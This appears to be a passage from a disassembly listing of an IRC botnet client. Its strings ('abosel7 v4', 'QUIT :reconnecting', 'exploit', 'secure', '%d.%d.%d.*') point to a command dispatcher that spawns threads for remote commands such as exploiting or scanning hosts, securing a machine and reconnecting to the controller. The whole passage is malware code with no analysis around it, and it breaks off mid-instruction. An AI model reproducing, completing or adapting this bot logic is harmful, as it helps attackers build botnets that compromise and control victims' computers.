test eax, eax pop ecx jz short loc_403C43 push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax call near ptr 2660AB7h nop push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BE18 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h nop call near ptr 2670000h jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j nop call near ptr 2670914h push eax push offset unk_42BDDC loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D158 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BDA0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h nop call near ptr 2670000h jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j nop call near ptr 2670914h push eax push offset unk_42BD64 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CAEC0 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42BD40 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42BD14 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42BCE8 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42BCC4 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42BC98 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42BC80 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BC64 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42BC38 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42BC10 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42BBF0 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh call near ptr 26808E8h nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BBD8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42BBB8 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42BB98 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42BB74 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h nop call near ptr 2670000h jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj call near ptr 2670914h nop push eax lea eax, [ebp+var_2C4] push offset unk_42BB38 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42BB1C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB03C call dword_4CAEFC call sub_418359 push ebx nop call near ptr 77E75CB5h loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BB00 jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAE4 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42BACC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h nop call near ptr 2670000h jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j nop call near ptr 2670914h push eax push offset unk_42BA94 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42BA7C call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42BA78 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42BA58 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx call near ptr 267009Ch nop mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h nop call near ptr 2670000h jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj nop call near ptr 2670914h push eax push offset unk_42BA1C jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42BA04 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CACE4 call sub_41A88B pop ecx push eax push offset unk_42B9D8 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B988 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B954 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42B944 push offset dword_42B934 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42B928 push offset dword_42B918 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42B8F0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 2670000h jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j call near ptr 2670914h nop push eax push offset dword_42B8B4 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42B888 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx call near ptr 267009Ch nop mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h nop call near ptr 2670000h jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej nop call near ptr 2670914h push eax push offset unk_42B848 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42B814 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h nop call near ptr 2670000h jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj call near ptr 2670914h nop push eax push offset dword_42B7D8 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42B728 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42B718 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42C9F4 push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42B6EC jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42B6C0 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42C9F4 loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42C968 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx nop call near ptr 77E75CB5h loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CE758, ebx jz short loc_404A4A push offset dword_4CE138 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42B684 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CAFE4 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42B644 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE138 call sub_41BEB0 pop ecx mov dword_4CE758, 1 pop ecx push esi push offset unk_42B618 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 1 call sub_41B980 add esp, 